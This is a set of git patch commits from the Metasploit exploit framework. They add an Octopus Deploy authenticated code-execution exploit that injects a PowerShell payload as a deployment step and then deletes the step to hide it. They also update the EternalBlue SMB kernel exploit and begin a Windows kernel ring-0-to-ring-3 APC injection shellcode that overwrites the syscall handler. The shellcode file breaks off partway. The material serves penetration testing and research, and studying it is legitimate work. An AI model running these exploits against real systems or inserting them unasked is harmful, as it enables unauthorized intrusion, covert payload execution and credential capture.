-h for usage' + elsif @args[0].nil? + fail OptionParser::MissingArgument, '-f is required' + elsif @args[1].nil? + fail OptionParser::MissingArgument, '-o is required' + end + orig_macho = File.expand_path(@args[0]) + warn orig_macho + plist_outline = " + + + + CFBundleName + #{@args[1]} + CFBundleVersion + 1.0 + CFBundlePackageType + APPL + CFBundleExecutable + #{@args[0]} + + " + + # A .app file is essentially a specialy treated directory on macOS, + # so we will treat it as such + system("chmod 777 #{@args[0]}") # This is the only way macOS will execute the macho + Dir.mkdir("#{@args[1]}.app") + Dir.chdir("#{@args[1]}.app") + Dir.mkdir('Contents') + Dir.chdir('Contents') + Dir.mkdir('MacOS') + File.open('Info.plist', 'w') do |f| + f.write plist_outline + end + Dir.chdir('MacOS') + system("mv #{orig_macho.inspect} ./#{@args[0]}") + system("chmod 777 #{@args[0]}") + Dir.chdir('../../..') + puts "Final app produced: #{Dir.pwd}/#{@args[1]}.app" + end + +end + +if __FILE__ == $PROGRAM_NAME + bin = MachoToApp.new + bin.main +end From 03bf88d8f58bb23f76a4307e47e01235a8504bee Mon Sep 17 00:00:00 2001 From: Carter Date: Sat, 13 May 2017 19:10:59 -0400 Subject: [PATCH 038/686] I did it again :( --- tools/exploit/macho2app.rb | 105 ------------------------------------- 1 file changed, 105 deletions(-) delete mode 100644 tools/exploit/macho2app.rb diff --git a/tools/exploit/macho2app.rb b/tools/exploit/macho2app.rb deleted file mode 100644 index f8a4016c10..0000000000 --- a/tools/exploit/macho2app.rb +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env ruby -# -# $Id$ -# -# This script converts a macho file to a macOS .app -# -# $Revision$ -# - -require 'optparse' - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'msfenv' - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -class MachoToApp - - macho_path = nil - app_name = nil - - def get_opts - - ARGV.options do |opt| - opt.separator '' - - opt.on('-f', String, 'The macho file produced by msfvenom') do |x| - macho_path = x - end - - opt.on('-o', String, 'The output app name (without .app)') do |x| - app_name = x - end - - opt.on_tail('-h', '--help', 'Show this message') do - $stderr.puts opt - exit - end - - opt.parse! - - end - end - - def initialize - @args = get_opts - rescue OptionParser::MissingArgument => e - $stderr.puts e.message - exit - end - - def main - if @args.empty? - fail OptionParser::MissingArgument, 'No options set, try -h for usage' - elsif @args[0].nil? - fail OptionParser::MissingArgument, '-f is required' - elsif @args[1].nil? - fail OptionParser::MissingArgument, '-o is required' - end - orig_macho = File.expand_path(@args[0]) - warn orig_macho - plist_outline = " - - - - CFBundleName - #{@args[1]} - CFBundleVersion - 1.0 - CFBundlePackageType - APPL - CFBundleExecutable - #{@args[0]} - - " - - # A .app file is essentially a specialy treated directory on macOS, - # so we will treat it as such - system("chmod 777 #{@args[0]}") # This is the only way macOS will execute the macho - Dir.mkdir("#{@args[1]}.app") - Dir.chdir("#{@args[1]}.app") - Dir.mkdir('Contents') - Dir.chdir('Contents') - Dir.mkdir('MacOS') - File.open('Info.plist', 'w') do |f| - f.write plist_outline - end - Dir.chdir('MacOS') - system("mv #{orig_macho.inspect} ./#{@args[0]}") - system("chmod 777 #{@args[0]}") - Dir.chdir('../../..') - puts "Final app produced: #{Dir.pwd}/#{@args[1]}.app" - end - -end - -if __FILE__ == $PROGRAM_NAME - bin = MachoToApp.new - bin.main -end From 5ee570bb9c5c268c2ee29149d511965011f9464f Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 15 May 2017 08:31:01 -0400 Subject: [PATCH 039/686] Fix non-uniform spelling and capitalization --- modules/post/windows/manage/archmigrate.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index fd7e684bae..80d5530779 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Post [ OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']), OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]), - OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have system priveleges', true]) + OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', true]) ], self.class ) @@ -97,7 +97,7 @@ class MetasploitModule < Msf::Post elsif !datastore['IGNORE_SYSTEM'] && is_system? print_error('You are running as SYSTEM! Aborting migration.') elsif datastore['IGNORE_SYSTEM'] && is_system? - print_error('You are running as SYSTEM! You will lose your priveleges!') + print_error('You are running as SYSTEM! You will lose your privileges!') do_migrate elsif !datastore['IGNORE_SYSTEM'] && !is_system? print_status('You\'re not running as SYSTEM. Moving on...') From 3c4dfee4f5d15ffe21c521956ed55b69644879ab Mon Sep 17 00:00:00 2001 From: james-otten Date: Mon, 15 May 2017 18:57:38 -0500 Subject: [PATCH 040/686] Module to execute powershell on Octopus Deploy server This is not a bug, but a feature which gives users with the correct permissions the ability to take over a host running Octopus Deploy. During an automated deployment initiated by this module, a powershell based payload is executed in the context of the Octopus Deploy server, which is running as either Local System or a custom domain account. This is done by creating a release that contains a single script step that is run on the Octopus Deploy server. The said script step is deleted after the deployment is started. Though the script step will not be visible in the Octopus Deploy UI, it will remain in the server's database (with lot's of other interesting data). Options for authenticating with the Octopus Deploy server include username and password combination or an api key. Accounts are handled by Octopus Deploy (stored in database) or Active Directory. More information about Octopus Deploy: https://octopus.com --- .../windows/http/octopusdeploy_deploy.rb | 400 ++++++++++++++++++ 1 file changed, 400 insertions(+) create mode 100644 modules/exploits/windows/http/octopusdeploy_deploy.rb diff --git a/modules/exploits/windows/http/octopusdeploy_deploy.rb b/modules/exploits/windows/http/octopusdeploy_deploy.rb new file mode 100644 index 0000000000..7366201e06 --- /dev/null +++ b/modules/exploits/windows/http/octopusdeploy_deploy.rb @@ -0,0 +1,400 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/powershell' +require 'json' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Octopus Deploy Authenticated Code Execution', + 'Description' => %q{ + This module can be used to execute a payload on an Octopus Deploy server given + valid credentials or an API key. The payload is execued as a powershell script step + on the Octopus Deploy server during a deployment. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'James Otten ' ], + 'References' => + [ + # Octopus Deploy docs + [ 'URL', 'https://octopus.com' ] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 30, + 'EXITFUNC' => 'process' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 15 2017' + )) + + register_options( + [ + OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), + OptString.new('APIKEY', [ false, 'API key to use instead of username and password']), + OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']), + OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added']) + ] + ) + end + + def check + res = nil + if datastore['APIKEY'] + res = check_api_key + elsif datastore['USERNAME'] && datastore['PASSWORD'] + res = do_login + else + fail_with(Failure::BadConfig, 'Need username and password or API key') + end + disconnect + return CheckCode::Unknown if res.nil? + if res.code.between?(400, 499) + vprint_error("Server rejected the credentials") + return CheckCode::Unknown + end + CheckCode::Appears + end + + def exploit + # Generate the powershell payload + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true) + step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4)) + session = create_octopus_session unless datastore['APIKEY'] + + # + # Get project steps + # + print_status("Getting available projects") + project = get_project(session) + project_id = project['Id'] + project_name = project['Name'] + print_status("Using project #{project_name}") + + print_status("Getting steps to #{project_name}") + steps = get_steps(session, project_id) + added_step = make_powershell_step(command, step_name) + steps['Steps'].insert(0, added_step) + modified_steps = JSON.pretty_generate(steps) + + # + # Add step + # + print_status("Adding step #{step_name} to #{project_name}") + put_steps(session, project_id, modified_steps) + + # + # Make release + # + print_status('Getting available channels') + channels = get_channel(session, project_id) + channel = channels['Items'][0]['Id'] + channel_name = channels['Items'][0]['Name'] + print_status("Using channel #{channel_name}") + + print_status('Getting next version') + version = get_version(session, project_id, channel) + print_status("Using version #{version}") + + release_params = { + "ProjectId" => project_id, + "ChannelId" => channel, + "Version" => version, + "SelectedPackages" => [] + } + release_params_str = JSON.pretty_generate(release_params) + print_status('Creating release') + release_id = do_release(session, release_params_str) + print_status("Release #{release_id} created") + + # + # Deploy + # + dash = do_get_dashboard(session, project_id) + environment = dash['Environments'][0]['Id'] + environment_name = dash['Environments'][0]['Name'] + skip_steps = do_get_skip_steps(session, release_id, environment, step_name) + deployment_params = { + 'ReleaseId' => release_id, + 'EnvironmentId' => environment, + 'SkipActions' => skip_steps, + 'ForcePackageDownload' => 'False', + 'UseGuidedFailure' => 'False', + 'FormValues' => {} + } + deployment_params_str = JSON.pretty_generate(deployment_params) + print_status("Deploying #{project_name} version #{version} to #{environment_name}") + do_deployment(session, deployment_params_str) + + # + # Delete step + # + print_status("Getting updated steps to #{project_name}") + steps = get_steps(session, project_id) + print_status("Deleting step #{step_name} from #{project_name}") + steps['Steps'].each do |item| + steps['Steps'].delete(item) if item['Name'] == step_name + end + modified_steps = JSON.pretty_generate(steps) + put_steps(session, project_id, modified_steps) + print_status("Step #{step_name} deleted") + + # + # Wait for shell + # + handler + end + + def get_project(session) + path = 'api/projects' + res = send_octopus_get_request(session, path, 'Get projects') + body = parse_json_response(res) + body['Items'].each do |item| + return item if item['IsDisabled'] == false + end + fail_with(Failure::Unknown, 'No suitable projects found.') + end + + def get_steps(session, project_id) + path = "api/deploymentprocesses/deploymentprocess-#{project_id}" + res = send_octopus_get_request(session, path, 'Get steps') + body = parse_json_response(res) + body + end + + def put_steps(session, project_id, steps) + path = "api/deploymentprocesses/deploymentprocess-#{project_id}" + send_octopus_put_request(session, path, 'Put steps', steps) + end + + def get_channel(session, project_id) + path = "api/projects/#{project_id}/channels" + res = send_octopus_get_request(session, path, 'Get channel') + parse_json_response(res) + end + + def get_version(session, project_id, channel) + path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}" + res = send_octopus_get_request(session, path, 'Get version') + body = parse_json_response(res) + body['NextVersionIncrement'] + end + + def do_get_skip_steps(session, release, environment, payload_step_name) + path = "api/releases/#{release}/deployments/preview/#{environment}" + res = send_octopus_get_request(session, path, 'Get skip steps') + body = parse_json_response(res) + skip_steps = [] + body['StepsToExecute'].each do |item| + if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped'] + skip_steps.push(item['ActionId']) + end + end + skip_steps + end + + def do_release(session, params) + path = 'api/releases' + res = send_octopus_post_request(session, path, 'Do release', params) + body = parse_json_response(res) + body['Id'] + end + + def do_get_dashboard(session, project_id) + path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}" + res = send_octopus_get_request(session, path, 'Get dashboard') + parse_json_response(res) + end + + def do_deployment(session, params) + path = 'api/deployments' + send_octopus_post_request(session, path, 'Do deployment', params) + end + + def make_powershell_step(ps_payload, step_name) + prop = { + 'Octopus.Action.RunOnServer' => 'true', + 'Octopus.Action.Script.Syntax' => 'PowerShell', + 'Octopus.Action.Script.ScriptSource' => 'Inline', + 'Octopus.Action.Script.ScriptBody' => ps_payload + } + step = { + 'Name' => step_name, + 'Environments' => [], + 'Channels' => [], + 'TenantTags' => [], + 'Properties' => { 'Octopus.Action.TargetRoles' => '' }, + 'Condition' => 'Always', + 'StartTrigger' => 'StartWithPrevious', + 'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ] + } + step + end + + def send_octopus_get_request(session, path, nice_name = '') + request_path = normalize_uri(datastore['PATH'], path) + headers = create_request_headers(session) + res = send_request_raw( + 'method' => 'GET', + 'uri' => request_path, + 'headers' => headers, + 'SSL' => ssl + ) + check_result_status(res, request_path, nice_name) + res + end + + def send_octopus_post_request(session, path, nice_name, data) + res = send_octopus_data_request(session, path, data, 'POST') + check_result_status(res, path, nice_name) + res + end + + def send_octopus_put_request(session, path, nice_name, data) + res = send_octopus_data_request(session, path, data, 'PUT') + check_result_status(res, path, nice_name) + res + end + + def send_octopus_data_request(session, path, data, method) + request_path = normalize_uri(datastore['PATH'], path) + headers = create_request_headers(session) + headers['Content-Type'] = 'application/json' + res = send_request_raw( + 'method' => method, + 'uri' => request_path, + 'headers' => headers, + 'data' => data, + 'SSL' => ssl + ) + res + end + + def check_result_status(res, request_path, nice_name) + if !res || res.code < 200 || res.code >= 300 + req_name = nice_name || 'Request' + fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]") + end + end + + def create_request_headers(session) + headers = {} + if session.blank? + headers['X-Octopus-ApiKey'] = datastore['APIKEY'] + else + headers['Cookie'] = session + headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token') + end + headers + end + + def get_csrf_token(session, csrf_cookie) + key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/) + key_vals.each do |name, value| + return value if name.starts_with?(csrf_cookie) + end + fail_with(Failure::Unknown, 'CSRF token not found') + end + + def parse_json_response(res) + begin + json = JSON.parse(res.body) + return json + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to parse response json') + end + end + + def create_octopus_session + res = do_login + if res && res.code == 404 + fail_with(Failure::BadConfig, 'Incorrect path') + elsif !res || (res.code != 200) + fail_with(Failure::NoAccess, 'Could not initiate session') + end + res.get_cookies + end + + def do_login + json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] }) + path = normalize_uri(datastore['PATH'], '/api/users/login') + res = send_request_raw( + 'method' => 'POST', + 'uri' => path, + 'ctype' => 'application/json', + 'data' => json_post_data, + 'SSL' => ssl + ) + + if !res || (res.code != 200) + print_error("Login failed") + elsif res.code == 200 + report_octopusdeploy_credential + end + + res + end + + def check_api_key + headers = {} + headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || '' + path = normalize_uri(datastore['PATH'], '/api/serverstatus') + res = send_request_raw( + 'method' => 'GET', + 'uri' => path, + 'headers' => headers, + 'SSL' => ssl + ) + + print_error("Login failed") if !res || (res.code != 200) + + vprint_status(res.body) + + res + end + + def report_octopusdeploy_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'], true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end +end From 6fb4040d11283caefc2e79bd52a9ecbd54eba391 Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Tue, 16 May 2017 23:18:39 -0600 Subject: [PATCH 041/686] add core buffer dump for OS version --- .../windows/smb/ms17_010_eternalblue.rb | 79 ++++++++++++++++--- 1 file changed, 67 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 651d367efe..16f6c9f7f0 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -60,11 +60,12 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Windows 7 and Server 2008 (x64) All Service Packs', + [ 'Windows 7 and Server 2008 R2 (x64) All Service Packs', { 'Platform' => 'win', 'Arch' => [ ARCH_X64 ], + 'os_patterns' => ['Server 2008 R2', 'Windows 7'], 'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset 'et_alertable' => 0x4c, # ETHREAD.Alertable offset 'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset @@ -82,7 +83,9 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]), OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ), OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ), - OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ) + OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ), + OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ), + OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ) ]) end @@ -133,14 +136,6 @@ class MetasploitModule < Msf::Exploit::Remote end end - # - # Increase the default delay by five seconds since some kernel-mode - # payloads may not run immediately. - # - def wfs_delay - super + 5 - end - def smb_eternalblue(process_name, grooms) begin # Step 0: pre-calculate what we can @@ -150,9 +145,16 @@ class MetasploitModule < Msf::Exploit::Remote # Step 1: Connect to IPC$ share print_status("Connecting to target for exploitation.") - client, tree, sock = smb1_anonymous_connect_ipc() + client, tree, sock, os = smb1_anonymous_connect_ipc() print_good("Connection established for exploitation.") + if not verify_target(os) + return + end + + #if not verify_arch + #end + print_status("Trying exploit with #{grooms} Groom Allocations.") # Step 2: Create a large SMB1 buffer @@ -207,6 +209,52 @@ class MetasploitModule < Msf::Exploit::Remote end end + def verify_target(os) + ret = true + + if datastore['VerifyTarget'] + if false + los = os.downcase + #if los.include 'server 2008 r2' or os =~ /windows 7/i + print_warning("Target OS selected not valid for OS indicated by SMB reply") + print_warning("Disable VerifyTarget option to proceed manually...") + ret = false + end + print_status("Target OS selected valid for OS indicated by SMB reply") + end + + # cool buffer print no matter what, will be helpful when people post debug issues + print_core_buffer(os) + + return ret + end + + def print_core_buffer(os) + os = os.gsub("\x00", '') # don't do the unicode + os << "\x00" # but original has a null + + print_status("CORE raw buffer dump (#{os.length.to_s} bytes)") + + count = 0 + chunks = os.scan(/.{1,16}/) + chunks.each do | chunk | + hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, "0") }.join(" ") + + format = "0x%08x %-47s %-16s" % [(count * 16), hexdump, chunk] + print_status(format) + count += 1 + end + end + + # + # Increase the default delay by five seconds since some kernel-mode + # payloads may not run immediately. + # + def wfs_delay + super + 5 + end + + def smb2_grooms(grooms, payload_hdr_pkt) grooms.times do |groom_id| gsock = connect(false) @@ -232,9 +280,16 @@ class MetasploitModule < Msf::Exploit::Remote client.user_id = response.uid + + # todo: RubySMB throwing exceptions + # sess = RubySMB::SMB1::Packet::SessionSetupResponse.new(raw) + os = raw.split("\x00\x00")[-2] + # todo: rubysmb should set this automatically? + #client.peer_native_os = os + tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") - return client, tree, sock + return client, tree, sock, os end def smb1_large_buffer(client, tree, sock) From 646ca1437528268f148299144ab95095b46e3e97 Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Wed, 17 May 2017 22:48:45 -0600 Subject: [PATCH 042/686] basic OS verification, ghetto socket read code --- .../windows/smb/ms17_010_eternalblue.rb | 40 ++++++++++++++----- 1 file changed, 29 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 16f6c9f7f0..ae299bf8c4 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -89,6 +89,9 @@ class MetasploitModule < Msf::Exploit::Remote ]) end + class EternalBlueError < StandardError + end + def check # todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010 end @@ -121,6 +124,8 @@ class MetasploitModule < Msf::Exploit::Remote end end + rescue EternalBlueError => e + print_bad("#{e.message}") rescue ::RubySMB::Error::UnexpectedStatusCode, ::Errno::ECONNRESET, ::Rex::HostUnreachable, @@ -149,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good("Connection established for exploitation.") if not verify_target(os) - return + raise EternalBlueError, "Unable to continue with improper OS Target." end #if not verify_arch @@ -203,24 +208,33 @@ class MetasploitModule < Msf::Exploit::Remote # tree disconnect # logoff and x # note: these aren't necessary, just close the sockets - + return true ensure abort_sockets end end def verify_target(os) + os = os.gsub("\x00", '') # strip unicode bs + os << "\x00" # but original has a null ret = true if datastore['VerifyTarget'] - if false - los = os.downcase - #if los.include 'server 2008 r2' or os =~ /windows 7/i + ret = false + # search if its in patterns + target['os_patterns'].each do |pattern| + if os.downcase.include? pattern.downcase + ret = true + break + end + end + + if ret + print_status("Target OS selected valid for OS indicated by SMB reply") + else print_warning("Target OS selected not valid for OS indicated by SMB reply") print_warning("Disable VerifyTarget option to proceed manually...") - ret = false end - print_status("Target OS selected valid for OS indicated by SMB reply") end # cool buffer print no matter what, will be helpful when people post debug issues @@ -230,9 +244,6 @@ class MetasploitModule < Msf::Exploit::Remote end def print_core_buffer(os) - os = os.gsub("\x00", '') # don't do the unicode - os << "\x00" # but original has a null - print_status("CORE raw buffer dump (#{os.length.to_s} bytes)") count = 0 @@ -344,7 +355,14 @@ class MetasploitModule < Msf::Exploit::Remote end def smb1_get_response(sock) - raw = sock.get_once + raw = nil + + # dirty hack since it doesn't always like to reply the first time... + 16.times do + raw = sock.get_once + break unless raw.nil? or raw.empty? + end + response = RubySMB::SMB1::SMBHeader.read(raw[4..-1]) code = response.nt_status return code, raw, response From d944bdfab0c621228a109d32665598e11213631b Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Wed, 17 May 2017 23:05:20 -0600 Subject: [PATCH 043/686] expect 0xC00000D --- modules/exploits/windows/smb/ms17_010_eternalblue.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index ae299bf8c4..8af93ff532 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -194,8 +194,11 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Receiving response from exploit packet") code, raw = smb1_get_response(sock) - if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D) - print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!") + code_str = "0x" + code.to_i.to_s(16).upcase + if code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D) + print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!") + else + print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!") end # Step 4: Send the payload From a5c391dae2dd4cd26a2df0061dc3ed3f78a5b703 Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Wed, 17 May 2017 23:28:20 -0600 Subject: [PATCH 044/686] multi-arch ring0->ring3 shellcode .asm file (work in progress) --- .../windows/multi_arch_kernel_queue_apc.asm | 606 ++++++++++++++++++ 1 file changed, 606 insertions(+) create mode 100644 external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm diff --git a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm new file mode 100644 index 0000000000..cb27899512 --- /dev/null +++ b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm @@ -0,0 +1,606 @@ +; +; Windows x86/x64 Multi-Arch Kernel Ring 0 to Ring 3 via Queued APC Shellcode +; +; Author: Sean Dillon (@zerosum0x0) +; Copyright: (c) 2017 RiskSense, Inc. +; Release: 04 May 2017 +; License: MSF License +; Build: nasm ./kernel.asm +; Acknowledgements: Stephen Fewer, skape, Equation Group, Shadow Brokers +; +; Description: +; Injects an APC into a specified process. Once in userland, a new thread is +; created to host the main payload. Add whatever userland payload you want to +; the end, prepended with two bytes that equal the little endian size of your +; payload. The userland payload should detect arch if multi-arch is enabled. +; This payload is convenient, smaller or null-free payloads can be crafted +; using this as a base template. +; +; References: +; https://github.com/Risksense-Ops/MS17-010 +; https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx +; https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html +; https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ +; http://apexesnsyscalls.blogspot.com/2011/09/using-apcs-to-inject-your-dll.html +; + +BITS 64 +ORG 0 +default rel + +section .text +global payload_start + +; options which have set values +%define PROCESS_HASH SPOOLSV_EXE_HASH ; the process to queue APC into +%define MAX_PID 0x10000 +%define WINDOWS_BUILD 7601 ; offsets appear relatively stable + +; options which can be enabled +%define USE_X86 ; x86 payload +%define USE_X64 ; x64 payload +%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry +%define ERROR_CHECKS ; lessen chance of BSOD, but bigger size +%define SYSCALL_OVERWRITE ; to run at process IRQL in syscall +; %define CLEAR_DIRECTION_FLAG ; if cld should be run + +; hashes for export directory lookups +LSASS_EXE_HASH equ 0x60795e4a ; hash("lsass.exe") +SPOOLSV_EXE_HASH equ 0xdd1f77bf ; hash("spoolsv.exe") +CREATETHREAD_HASH equ 0x221b4546 ; hash("CreateThread") +PSGETCURRENTPROCESS_HASH equ 0x6211725c ; hash("PsGetCurrentProcess") +PSLOOKUPPROCESSBYPROCESSID_HASH equ 0x4ba25566 ; hash("PsLookupProcessByProcessId") +PSGETPROCESSIMAGEFILENAME_HASH equ 0x2d726fa3 ; hash("PsGetProcessImageFileName") +PSGETTHREADTEB_HASH equ 0x9d364026 ; hash("PsGetThreadTeb") +KEGETCURRENTPROCESS_HASH equ 0x5e91685c ; hash("KeGetCurrentProcess") +KEGETCURRENTTHREAD_HASH equ 0x30a3ba7a ; hash("KeGetCurrentThread") +KEINITIALIZEAPC_HASH equ 0x4b55ceac ; hash("KeInitializeApc") +KEINSERTQUEUEAPC_HASH equ 0x9e093818 ; hash("KeInsertQueueApc") +KESTACKATTACHPROCESS_HASH equ 0xdc1124e5 ; hash("KeStackAttachProcess") +KEUNSTACKDETACHPROCESS_HASH equ 0x7db3b722 ; hash("KeUnstackDetachProcess") +ZWALLOCATEVIRTUALMEMORY_HASH equ 0xee0aca4b ; hash("ZwAllocateVirtualMemory") +EXALLOCATEPOOL_HASH equ 0x9150ac26 ; hash("ExAllocatePool") +OBDEREFERENCEOBJECT_HASH equ 0x854de20d ; hash("ObDereferenceObject") +KERNEL32_DLL_HASH equ 0x92af16da ; hash_U(L"kernel32.dll", len) + +; offsets for opaque structures +%if WINDOWS_BUILD == 7601 +EPROCESS_THREADLISTHEAD_BLINK_OFFSET equ 0x308 +ETHREAD_ALERTABLE_OFFSET equ 0x4c +TEB_ACTIVATIONCONTEXTSTACKPOINTER_OFFSET equ 0x2c8 ; ActivationContextStackPointer : Ptr64 _ACTIVATION_CONTEXT_STACK +ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC_ETHREAD_DELTA defined +%endif + +; now the shellcode begins +payload_start: + +%ifdef SYSCALL_OVERWRITE +syscall_overwrite: + +x64_syscall_overwrite: + mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR + rdmsr + ;movabs rbx, 0xffffffffffd00ff8 + db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff + mov dword [rbx+0x4], edx ; save old syscall handler + mov dword [rbx], eax + lea rax, [rel x64_syscall_handler] ; load new syscall handler + mov rdx, rax + shr rdx, 0x20 + + wrmsr + ret + +x64_syscall_handler: + swapgs + mov qword [gs:0x10], rsp + mov rsp, qword [gs:0x1a8] + + push rax + push rbx + push rcx + push rdx + push rsi + push rdi + push rbp + push r8 + push r9 + push r10 + push r11 + push r12 + push r13 + push r14 + push r15 + + push 0x2b + push qword [gs:0x10] + push r11 + push 0x33 + push rcx + mov rcx, r10 + sub rsp, 0x8 + push rbp + sub rsp, 0x158 + lea rbp, [rsp + 0x80] + + mov qword [rbp+0xc0],rbx + mov qword [rbp+0xc8],rdi + mov qword [rbp+0xd0],rsi + + ;movabs rax, 0xffffffffffd00ff8 + db 0x48, 0xa1, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff + + mov rdx, rax + shr rdx, 0x20 + xor rbx, rbx + dec ebx + and rax, rbx + mov ecx, 0xc0000082 + wrmsr + sti + + call x64_kernel_start + + cli + mov rsp, qword [abs gs:0x1a8] + sub rsp, 0x78 + pop r15 + pop r14 + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + pop rbp + pop rdi + pop rsi + pop rdx + pop rcx + pop rbx + pop rax + mov rsp, qword [abs gs:0x10] + swapgs + jmp [0xffffffffffd00ff8] + +; SYSCALL_OVERWRITE +%endif + +x64_kernel_start: +; Some "globals", which should not be clobbered, these are also ABI non-volatile +; ---------------------------------------------- +; r15 = ntoskrnl.exe base address (DOS MZ header) +; r14 = &x64_kernel_start +; r13 = PKAPC_STATE +; rbx = PID/PEPROCESS +; r12 = ThreadListEntry 